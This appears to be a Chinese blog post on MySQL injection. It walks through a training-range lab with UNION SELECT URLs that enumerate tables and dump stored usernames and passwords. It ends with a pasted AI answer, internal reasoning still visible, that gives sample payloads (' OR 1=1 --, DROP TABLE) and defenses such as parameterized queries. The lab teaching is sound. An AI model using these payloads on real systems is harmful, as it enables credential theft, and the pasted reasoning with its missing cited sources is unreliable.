MYSQL注入

 注:MYSQL5.0以上为高版本,5.0以下为低版本

MYSQL相关知识

1.MYSQL数据库
数据库A=网站A=数据库用户A
表名
        列名
                                数据
数据库B=网站B=数据库用户B
。。。。。。
数据库C=网站C=数据库用户C
。。。。。。

2.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。

3.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

4.常用参数

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
user() 查看当前MySQL登录的用户名
database() 查看当前使用MySQL数据库名
version() 查看当前MySQL版本

5.MySQL 里分页一般用 LIMIT 来实现:

select* from article LIMIT 1,3
与
select * from article LIMIT 3 OFFSET 1

上面两种写法都表示取 2、3、4 三条条数据:

当 LIMIT 后面跟两个参数的时候,第一个数表示要跳过的数量,后一位表示要取的数量,例如:

select* from article LIMIT 1,3 就是跳过 1 条数据,从第 2 条数据开始取,取 3 条数据,也就是取 2、3、4 三条数据。

当 LIMIT 后面跟一个参数的时候,该参数表示要取的数据的数量。

例如 select* from article LIMIT 3 表示直接取前三条数据,类似 sqlserver 里的 top 语法。

当 LIMIT 和 OFFSET 组合使用的时候,LIMIT 后面只能有一个参数,表示要取的的数量,OFFSET表示要跳过的数量 。

例如 select * from article LIMIT 3 OFFSET 1 表示跳过 1 条数据,从第 2 条数据开始取,取3条数据,也就是取 2、3、4 三条数据。

墨者mysql靶场

点击平台停机维护通知

1.利用order by判断字段数,为下一步的union select做准备

构造order by 5时页面显示空白,说明有四列

order by:

数据库

  COL_A                       COL_B  
  ----------   ----------  
  A                                       1  
  D                                       5 
  B                                       3  
  C                                       4  

order by 1  按第一列排(默认升序) ps:降序order by 1 desc

 COL_A                       COL_B  
  ----------   ----------  
  A                                       1  
  B                                       3  
  C                                       4  

   D                                      5 

order by 2 按第二列排(默认升序)

此时ord by 3报错

总结:

order by A,B        这个时候都是默认按升序排列
order by A desc,B   这个时候 A 降序,B 升序排列
order by A ,B desc  这个时候 A 升序,B 降序排列

即 desc 或者 asc 只对它紧跟着的第一个列名有效,其他不受影响,仍然是默认的升序。

并且可以通过ord by x来判断有有几列

2.利用 union select 1,2,3,4 联合查询,将id值设置成不成立(id=-1/id=1 and 假),即可探测到可利用的字段数

 可以发现第二列和第三列的数据是可获取的

这里用到的知识 sql注入中的union select 1,2,3...._北遇-优快云博客

3.信息收集

将2,3替换为要查询的信息

 

获取数据库版本:version() 
获取数据库名字:database() 
获取数据库用户:user() 
获取操作系统:@@version_compile_os Linux 

4.查询数据库表

#查询指定数据库名mozhe_Discuz_StormGroup下的表名信息:
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,table_name,3,4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'

#查询指定表名StormGroup_member下的列名信息
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member' 

#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member

 

 

 发现登录不行

#查询指定数据
http://219.153.49.228:43230/new_list.php?id=-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member

 

 ok!

<think>好的,我现在需要回答用户关于MySQL注入攻击的原理及防御措施的问题。首先,我得先理解用户的需求,他们可能想了解SQL注入MySQL中的具体应用以及如何防范。用户已经提供了两个引用,我需要结合这些信息来组织回答。 首先,SQL注入的原理,根据引用[1]和[2],都是通过恶意SQL语句的插入,欺骗服务器执行。比如在用户输入中嵌入SQL代码,比如用户名输入' OR '1'='1,这样可能会导致登录绕过。在MySQL中,攻击者可能利用特定语法,如注释符--或#,或者联合查询UNION来获取数据。需要详细说明这些例子,并确保用$...$格式包裹变量或代码片段。 接下来是防御措施。常见的包括参数化查询、输入验证、最小权限原则等。比如参数化查询在PHP中使用预处理语句,如PDO或mysqli。这里需要给出具体的代码示例,用```python这样的代码块,但用户提到的是MySQL,可能需要用PHP或其它语言的例子?或者用户希望看到MySQL层面的防御,比如存储过程?需要确认,但根据引用[2],预防措施提到了表单提交和插入到MySQL,所以可能涉及应用层和数据库层的措施。 另外,转义特殊字符也是重要的一点,比如使用mysql_real_escape_string函数,但需要注意这种方法不如参数化查询可靠。还有避免动态拼接SQL语句,这也是关键点。 需要确保回答结构清晰,分点说明原理和防御措施,每个部分有例子和解释。同时,按照用户的系统级指令,数学表达式和代码要用正确的格式,比如变量$username要用$包裹,代码块用三个反引号注明语言。 可能还需要生成相关问题,比如如何检测SQL注入漏洞,或者ORM框架如何防止注入,或者MySQL的具体配置来防御攻击。需要确保问题相关且有价值。 最后,检查是否所有行内代码和变量都用$...$,独立公式用$$...$$,虽然这个问题可能涉及较少的数学公式,但如果有比如示例中的查询条件,可能需要用LaTeX格式。例如,用户输入的变量$x$导致查询变成SELECT * FROM users WHERE id = $x$,这样的地方需要正确使用格式。 总结步骤: 1. 解释MySQL注入攻击的原理,举例说明。 2. 分点列出防御措施,每个措施详细说明,并给出代码示例。 3. 生成相关问题。 4. 确保格式正确,引用标识添加在引用内容末尾。</think>### MySQL注入攻击原理及防御措施 #### 一、MySQL注入攻击原理 MySQL注入是SQL注入的一种,攻击者通过构造恶意输入,篡改应用程序的SQL查询逻辑,从而执行非授权的数据库操作。其核心原理是**将用户输入直接拼接到SQL语句中**,导致数据库解析并执行恶意代码。例如: 1. **绕过身份验证**:若登录查询为 ```sql SELECT * FROM users WHERE username='$username' AND password='$password' ``` 攻击者输入`username = ' OR 1=1 -- `,则查询变为: ```sql SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password='...' ``` 此时`1=1`恒成立,且`--`注释后续语句,直接登录成功[^1][^2]。 2. **数据泄露**:利用`UNION`查询获取其他表数据,如输入: ```sql ' UNION SELECT credit_card FROM payments -- ``` 3. **执行高危操作**:通过拼接`; DROP TABLE users`等语句删除表。 #### 二、防御措施 1. **参数化查询(预编译语句)** 使用占位符替代直接拼接输入,确保输入数据仅作为参数处理。例如PHP中使用PDO: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username"); $stmt->execute(['username' => $username]); ``` 2. **输入验证与过滤** - 白名单验证:如仅允许邮箱格式的输入。 - 转义特殊字符:使用`mysqli_real_escape_string()`,但需注意其局限性[^2]。 3. **最小权限原则** 数据库账户按需分配权限,例如应用账号禁止执行`DROP`或`FILE`操作。 4. **启用严格模式** 配置MySQL的`sql_mode=STRICT_ALL_TABLES`,强制类型检查。 5. **错误信息隐藏** 避免将数据库错误直接返回给用户,防止泄露表结构等敏感信息。 #### 三、代码示例(PHP防御) ```php // 使用PDO参数化查询 $pdo = new PDO("mysql:host=localhost;dbname=test", "user", "pass"); $stmt = $pdo->prepare("SELECT * FROM users WHERE email = ?"); $stmt->execute([$_POST['email']]); $result = $stmt->fetchAll(); ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值